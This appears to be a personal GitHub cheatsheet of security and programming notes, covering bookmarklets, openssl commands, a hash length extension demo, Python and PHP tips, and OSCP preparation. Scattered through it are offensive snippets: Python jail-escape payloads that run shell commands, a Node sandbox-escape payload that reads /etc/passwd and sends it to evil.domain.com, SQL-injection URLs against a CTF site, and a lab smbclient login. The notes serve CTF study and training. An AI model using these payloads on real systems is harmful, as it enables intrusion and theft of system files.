let link = document.URL.replace(/\(/g, '%2528').replace(/\)/g, '%2529');
let md = `- [${title}](${link})`;

setTimeout(() => navigator.clipboard.writeText(md), 100);

copy markdown format and description

let title = document.title.replace(/\[/g, '\\[').replace(/]/g, '\\]').replace(/\|/g, '\\|');
let link = document.URL.replace(/\(/g, '%2528').replace(/\)/g, '%2529');
let md = `- [${title}](${link})`;

let description = document.querySelector('meta[name="description" i]')?.content;
if (description) md += ` - ${description}`;

setTimeout(() => navigator.clipboard.writeText(md), 100);

multiple search engine

// Check `Sites can send pop-ups and use redirects` in chrome://settings/content/popups

const o = prompt('query: ', '');
const engines = [
  'https://searx.juancord.xyz/searxng/search?q=%s',
  'https://stract.com/search?q=%s',
  'https://yandex.com/search/?text=%s',
  'https://www.bing.com/search?q=%s',
  'https://www.google.com/search?lr=lang_en&q=%s',
  'https://www.google.com/search?lr=lang_ja&q=%s',
  'https://duckduckgo.com/?kl=us-en&q=%s',
  'https://duckduckgo.com/?kl=jp-jp&q=%s',
];
engines.forEach(function (e) { window.open(e.replace('%s', encodeURIComponent(o))); });

XMPP

XMPP client

Web application frameworks benchmark

Crypto

RSA

Hash Length Extension

Tested

$ secret=$(hexdump -vn16 -e'4/4 "%08x" 1 "\n"' /dev/urandom)

$ echo -n "${secret}" | hd
00000000  30 35 64 32 33 35 37 30  33 61 63 36 33 36 33 61  |05d235703ac6363a|
00000010  35 61 64 65 63 32 32 37  32 66 36 32 64 61 65 34  |5adec2272f62dae4|
00000020

$ echo -n "${secret}data" | sha256sum
38d77dfacdbe32fd4e62ea173d0ae4cd7e80c7aa3fcf3d0f9b4febdb66d3ef81  -

$ ~/tools/hash_extender/hash_extender --signature 38d77dfacdbe32fd4e62ea173d0ae4cd7e80c7aa3fcf3d0f9b4febdb66d3ef81 -l 32 --data data --append appenddata --format sha256
Type: sha256
Secret length: 32
New signature: 4cb4e368d4d703314d274f9f5774853eea9044be70b92fbe5905749ae11de4e4
New string: 6461746180000000000000000000000000000000000000000000000000000120617070656e6464617461


$ newstr=$(echo -n 6461746180000000000000000000000000000000000000000000000000000120617070656e6464617461 | xxd -r -p)

$ echo -n "${secret}${newstr}" | sha256sum
4cb4e368d4d703314d274f9f5774853eea9044be70b92fbe5905749ae11de4e4  -

oneliner

gcd = lambda a, b: b if (a:=a%b) == 0 else gcd(b, a)

Forensics

Steganography

DFIR

Malware

Malware sample

Report

Other

  • Thumbcache Viewer - Extract thumbnail images from the thumbcache_.db and iconcache_.db database files.

Networking

SSL/TLS

openssl

s_client subcommand

# basic connect
openssl s_client -connect example.com:443

# -trace option: show TLS record and a parsed Certificate
openssl s_client -connect example.com:443 -trace

# input empty HTTP request using /dev/null
openssl s_client -connect example.com:443 -trace < /dev/null

x509 subcommand

# parse a Certificate
openssl x509 -in example.com.pem -noout -text 

# output Subject only
openssl x509 -in example.com.cert -noout -subject
# => subject=C=US, ST=California, L=Los Angeles, O=Internet Corporation for Assigned Names and Numbers, CN=www.example.org

# output Issuer only
openssl x509 -in example.com.cert -noout -issuer
# => issuer=C=US, O=DigiCert Inc, CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1

# output Validity only
openssl x509 -in example.com.cert -noout -dates
# => notBefore=Jan 30 00:00:00 2024 GMT
# => notAfter=Mar  1 23:59:59 2025 GMT

# PEM to DER
openssl x509 -in example.com.pem -inform pem -outform der | hd
openssl x509 -in example.com.pem -inform pem -outform der -out example.com.der  # save as a file

# DER to PEM
openssl x509 -in example.com.der -inform der -outform pem

see details for X.509: RFC 5280: Section 4 Certificate and Certificate Extensions Profile

verify subcommand

openssl verify -CAfile <ca_certificate.pem> <certificate.pem>

rsa subcommand

openssl rsa -in

create self-certificate

openssl req -x509 -newkey rsa:4096 -noenc -out cert.pem -keyout key.pem -days 365 -subj /CN=example.com

OSINT

Game Hacking

Wi-Fi

Tools

GitHub

Dork

GraphQL API: Query Example

{
  topic(name: "php") {
    repositories(first: 50, orderBy: {direction: DESC, field: STARGAZERS}) {
    nodes {
        name
        url
        stargazerCount
      }
    }
  }
}
{
  topic(name: "php") {
    repositories(
      first: 10
      after: null
      orderBy: {direction: DESC, field: STARGAZERS}
    ) {
      nodes {
        nameWithOwner
        url
        stargazerCount
      }
      pageInfo {
        endCursor
        startCursor
        hasNextPage
        hasPreviousPage
      }
    }
  }
}
{
  search(
    query: "language:PHP stars:>10000 archived:no"
    type: REPOSITORY
    first: 10
  ) {
    edges {
      node {
        ... on Repository {
          nameWithOwner
          stargazerCount
          url
          isArchived
        }
      }
    }
  }
}

Pagenation

Bug Bounty

Platform

Available Programs

Curated

  • awesome-bug-bounty - A comprehensive curated list of available Bug Bounty & Disclosure Programs and Write-ups.

Getting Started / Tutorials

Hacker101 Discord Server > #faq channel:

How to get started with hacking and bug bounties?

We've gathered some useful resources to get your started on your bug bounty journey!

The ⁠questions-and-answers and ⁠hacking-resources channels have great resources in the pinned messages that will help you get started. You will find there all sorts of things to help you learn and progress.

Writeup

Blog

Tools

  • bbscope - Scope gathering tool for HackerOne, Bugcrowd, Intigriti, YesWeHack, and Immunefi!

Other

Code Analysis

Papers

Static Code Analysis

Cheat Sheets

Linux

Bash snippet

Stopwatch

now=$(date +%s)sec; watch -n0.9 -t -p TZ=UTC date --date now-$now +%H:%M:%S

Upgrade all packages

apt-get update && apt-get upgrade -y && pip --disable-pip-version-check list --outdated --format=json | python -c "import json, sys; print('\n'.join([x['name'] for x in json.load(sys.stdin)]))" | xargs -n1 pip install -U && pip install virtualenv==20.21.1

Kali Linux

/usr/share/kali-themes/xfce4-panel-genmon-vpnip.sh

Windows

Active Directory (AD)

smbclient -U "jab.htb\jmontgomery%Midnight_121" -L "//10.129.230.215/"

Unquoted Service

wmic service get name,displayname,pathname,startmode
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Powershell

32-bit PowerShell

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

64-bit PowerShell

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

Import-Module

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process
Set-ExecutionPolicy -ExecutionPolicy Undefined -Scope CurrentUser

AD CS (Active Directory Certificates Service)

Install Microsoft 365 free

  1. Download Office Deployment Tool (officedeploymenttool_*.exe) from here link

  2. Execute officedeploymenttool_*.exe, then it generate setup.exe

  3. Execute setup.exe

    .\setup.exe /configure configuration-Office365-x64.xml

RDP

xfreerdp3 /log-level:FATAL /clipboard /cert:ignore /size:1920x1500 /d: /v:192.168.0.107 /u:username

# OSWE
xfreerdp3 /bpp:32 +fonts +themes /rfx /gfx:AVC420:on +clipboard /compression /audio-mode:1 /gdi:hw /nsc /cert:ignore /tls:seclevel:0 /dynamic-resolution /network:auto /v:manageengine /u:administrator /p:studentlab

RDP over SSH

Linux

ssh -L 3389:127.0.0.1:3389 -N [email protected] -f; xfreerdp +clipboard /cert-ignore /size:1920x1500 /v:127.0.0.1 /u:username /p:; kill $(lsof -t -i:3389 -sTCP:listen)

smbclient

smb: \> prompt
smb: \> recurse
smb: \> mget *

Programming language

Python

Official

Sandbox Bypass / Jail

CTF Challenge

Useful code

from pprint import pprint

dir(__builtins__)
__builtins__.__dir__()

import builtins
pprint(dir(builtins))

# Reserved keyword
help("keywords")
# False               class               from                or
# None                continue            global              pass
# True                def                 if                  raise
# and                 del                 import              return
# as                  elif                in                  try
# assert              else                is                  while
# async               except              lambda              with
# await               finally             nonlocal            yield
# break               for                 not

help("from")

True and False Creation

all((()))   # True
all(((),))  # False

()==()  # True
()=={}  # False

_ == _  # True
_ != _  # False

Payload

[m for m in  ().__class__.__bases__[0].__subclasses__() if m.__name__ in '_wrap_close'][0].__init__.__globals__['system']('cat flag.txt')
''.__class__.__base__.__subclasses__()[104].load_module('os').system('sh')"

Decompile

CheatSheet

# show pydoc
python3 -m pydoc requests
python3 -m pydoc requests.Response
# now to epoch
from datetime import datetime
datetime.now().strftime('%s')
# output => '1700187759'

# fromisoformat
datetime.fromisoformat('2023-11-17T11:25:24+00:00')
datetime.fromisoformat('2023-11-17T11:25:24+09:00')

string, hex

import binascii

binascii.hexlify(b'abcd')
# => b'61626364'

int(b'61626364', base=16)
# => 1633837924

binascii.unhexlify(hex(1633837924)[2:])
# => b'abcd'

YAML Deserialization

# Unsafe:
ruamel.yaml.load(payload)
ruamel.yaml.load(stream=payload)
ruamel.yaml.load(payload, ruamel.yaml.Loader)

# Unsafe:
ruamel.yaml.load_all(payload)

################################################################################
# C-based loaders with `libyaml`
################################################################################

# Unsafe:
ruamel.yaml.load(payload, ruamel.yaml.CLoader)

Create Python2/3 environment

Python 2

pip install virtualenv==20.21.1  # https://stackoverflow.com/a/76380501
virtualenv -p /usr/bin/python2.7 venv
. ./venv/bin/activate

Python 3

python3 -m venv ~/Documents/venv
. ~/Documents/venv/bin/activate

Lua

Sandbox Bypass

CTF Challenge

PHP

Dangerous PHP Functions

Analysis

Tools

  • phpstan/phpstan - PHP Static Analysis Tool - discover bugs in your code without running it!

PHP Vulnerability Hunter

Argument parser example

Tested environment in Docker Compose

Dockerfile

FROM php:8.3-apache-bullseye

WORKDIR /var/www/html

RUN docker-php-ext-install mysqli && \
    mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" && \
    rm -fr /var/log/apache2/* && \
    apt-get update && \
    apt-get install -y vim libtidy-dev libbz2-dev libicu-dev libzip-dev libpng-dev libjpeg-dev && \
    docker-php-ext-configure gd --with-jpeg && \
    docker-php-ext-install gettext tidy exif bz2 intl zip gd

# zenphoto
RUN curl -L -o /tmp/zenphoto.tar.gz https://github.com/zenphoto/zenphoto/archive/v1.6.1.tar.gz && \
    tar zxf /tmp/zenphoto.tar.gz -C /var/www/html/ --strip-components 1 && \
    chown www-data:www-data -R /var/www/html

docker-compose.yml

version: '3'
services:
  web:
    build: .
    ports:
      - "80:80"
    depends_on:
      - db

  db:
    image: mysql:8-debian
    ports:
      - "3306:3306"
    environment:
      - MYSQL_ROOT_PASSWORD=password
      - MYSQL_DATABASE=db

Vulnerability

Type Juggling

PHP Comparisons: Strict PHP Comparisons: Loose

Format String Injection

https://owasp.ctf.intigriti.io/search.php?a=%1$s) AND 0;--&id=1 https://owasp.ctf.intigriti.io/search.php?id=(%1$s&title=in title) OR 0 AND POSITION(

JavaScript

Payload

var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller;
func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();");

Ruby

CVE-2019-5420: Deserialization to RCE

If secret_key_base is leaked, RCE is possible.

Rails Deserialization

File Content Disclosure vulnerability

CVE-2021-43609: SQLi2RCE in Spiceworks Help Desk Server (HDS)

Scheme

Java

Decompile

  • jd-gui

    • compile without comment and metadata Help > Preferences > Source Saver Class file > uncheck

      • Write original line numbers
      • Write metadata

      jd-gui-without-linenumber-and-metadata

  • jadx

    /usr/share/jadx/bin/jadx test.jar

Erlang

Common Lisp

  • awesome-cl - A curated list of awesome Common Lisp frameworks, libraries and other shiny stuff.

C++

PowerShell

Similar with tail in Linux

Get-Content -Path <file path> -Tail 10 -Wait

Markdown

# Fix
markdownlint -c ~/.markdownlint.yaml -f README.md

# TOC: https://github.com/jonschlinkert/markdown-toc/issues/14
markdown-toc --maxdepth 4 --bullets='-' -i README.md

mdspell --report --ignore-acronyms --ignore-numbers --en-us README.md

Sandbox Service

Source Code Hosting

Data Structures & Algorithms

Dijkstra's algorithm

import networkx as nx

edge_list = [
    ("Attaya", "Belandris", 10),
    ("Attaya", "Charity", 3),
    ("Attaya", "Delato", 5),
    ("Belandris", "Jolat", 15),
    ("Belandris", "Gevani", 8),
    ("Belandris", "Emell", 1),
    ("Charity", "Belandris", 8),
    ("Charity", "Emell", 2),
    ("Charity", "Flais", 8),
    ("Charity", "Haphsa", 3),
    ("Charity", "Delato", 1),
    ("Delato", "Flais", 5),
    ("Delato", "Iyona", 5),
    ("Delato", "Belandris", 3),
    ("Emell", "Gevani", 5),
    ("Emell", "Iyona", 3),
    ("Emell", "Flais", 5),
    ("Flais", "Gevani", 3),
    ("Flais", "Iyona", 3),
    ("Flais", "Haphsa", 1),
    ("Gevani", "Jolat", 8),
    ("Gevani", "Iyona", 1),
    ("Gevani", "Haphsa", 6),
    ("Haphsa", "Iyona", 8),
    ("Haphsa", "Kepliker", 7),
    ("Haphsa", "Melyphora", 8),
    ("Haphsa", "Queria", 10),
    ("Haphsa", "Delato", 1),
    ("Iyona", "Jolat", 15),
    ("Iyona", "Leter", 4),
    ("Iyona", "Kepliker", 3),
    ("Jolat", "Leter", 4),
    ("Jolat", "Kepliker", 5),
    ("Jolat", "Osiros", 7),
    ("Kepliker", "Leter", 5),
    ("Kepliker", "Osiros", 2),
    ("Kepliker", "Partamo", 6),
    ("Kepliker", "Queria", 7),
    ("Kepliker", "Delato", 2),
    ("Kepliker", "Melyphora", 5),
    ("Leter", "Osiros", 3),
    ("Leter", "Rhenora", 10),
    ("Melyphora", "Partamo", 4),
    ("Melyphora", "Shariot", 11),
    ("Melyphora", "Queria", 1),
    ("Notasto", "Shariot", 7),
    ("Osiros", "Shariot", 8),
    ("Osiros", "Rhenora", 6),
    ("Partamo", "Osiros", 1),
    ("Partamo", "Rhenora", 5),
    ("Partamo", "Shariot", 9),
    ("Queria", "Partamo", 1),
    ("Queria", "Rhenora", 6),
    ("Queria", "Shariot", 10),
    ("Rhenora", "Notasto", 2),
    ("Rhenora", "Shariot", 1),
]

G = nx.DiGraph()
G.add_weighted_edges_from(edge_list)

assert len(G.nodes) == 19

sl = nx.shortest_path(G, source="Attaya", target="Shariot", weight="weight")
print(sl)

Computer Scinence

Machine Learning / Deep Learning

Emacs

markdown-mode

C-c C-b     markdown-outline-previous-same-level
C-c C-d     markdown-do
C-c C-f     markdown-outline-next-same-level
C-c C-s Q markdown-blockquote-region

Horizontal scrolling automatically causes line truncation (see Horizontal Scrolling). You can explicitly enable line truncation for a particular buffer with the command C-x x t (toggle-truncate-lines).

Static Site Generator

Certificates

OSCP (Offensive Security Certified Professional)

Official Link

Journey

Preparation

Tools

netcat

check file 
$ md5sum nc110.tgz
402632f2fe01c169ff19a0ad6e9d608c  nc110.tgz

$ mkdir nc110 && tar xf nc110.tgz -C nc110

$ find nc110 -type f | xargs md5sum
0db440646515384cbfd94a235a90f3ed  nc110/stupidh
330ffaaaac7d40e36bb63740fded5c01  nc110/Changelog
f1557018bf57b2ca74c68d44c03ddd91  nc110/README
9388ded7183a909a8fa191118e3d62b1  nc110/Makefile
eb3bcb13d36395d0b09a3ef66b2ca2ff  nc110/scripts/webrelay
5413b15cbbc1fb54ef472f86e7bc78da  nc110/scripts/README
430a1b955ad2da1fc053985423a52f17  nc110/scripts/probe
544c19da387112fa40ca7926e77aeb1b  nc110/scripts/alta
a8ec4e32660d14c1df15498e7b890c41  nc110/scripts/iscan
e319e17eb956b8a4c65d5582584ba0bb  nc110/scripts/dist.sh
fa679307322bb3f379877b19afd116ac  nc110/scripts/ncp
8c787e1a2a17d235a39b95c3d29daf9a  nc110/scripts/irc
f1570f4c5cc27216ad800e7bf023c4d3  nc110/scripts/websearch
393193b684e0efb135e8459aecf6900b  nc110/scripts/webproxy
6f15c855fff0cdeeb8c08ab7e2c28b60  nc110/scripts/bsh
04b7816212812a57e24e7e0dfa142088  nc110/scripts/web
9faa53dcf7446e40bbe72706c1ec3226  nc110/netcat.blurb
4bf5f11beccbf28fc656264cdc9785ed  nc110/netcat.c
68f9547b38b241cdef32c7ec558b3293  nc110/data/rip.d
3d26e127b9691586d6a80f736ab461c2  nc110/data/README
6ab8dee297f6e8d84061d848a68cfa4e  nc110/data/Makefile
450cf107e0ff9aec8025d058a7502c79  nc110/data/dns-any.d
bddf26f2c1029936692f8bcd8bd5262d  nc110/data/rservice.c
f3d280c86c2121b03df1e08b97e13091  nc110/data/pmap-mnt.d
7c641a3ad03f05c19645c1369dffea23  nc110/data/xor.c
e181220d9394b28982b20ecbb484e019  nc110/data/nfs-0.d
f7a39541dc2422ccbbbb2e2154208926  nc110/data/pmap-dump.d
cc82f9ecc16219019860a907b595cfd2  nc110/data/pm.d
08bc597b20299be9241ef13763b27ed7  nc110/data/showmount.d
c7aae64a82d56171225c64892a291366  nc110/data/data.c
03f2a43f230d5139aa21cd55ba7f1d8c  nc110/generic.h

Media

Book

Scholarly Articles, Academic Paper

Video

Podcast

Stuff

XPS9320 firmware

Clipboard Copy

About

No description or website provided.

Topics

notes cheatsheet

Resources

Readme
Activity

Stars

0 stars

Watchers

1 watching

Forks

0 forks
Report repository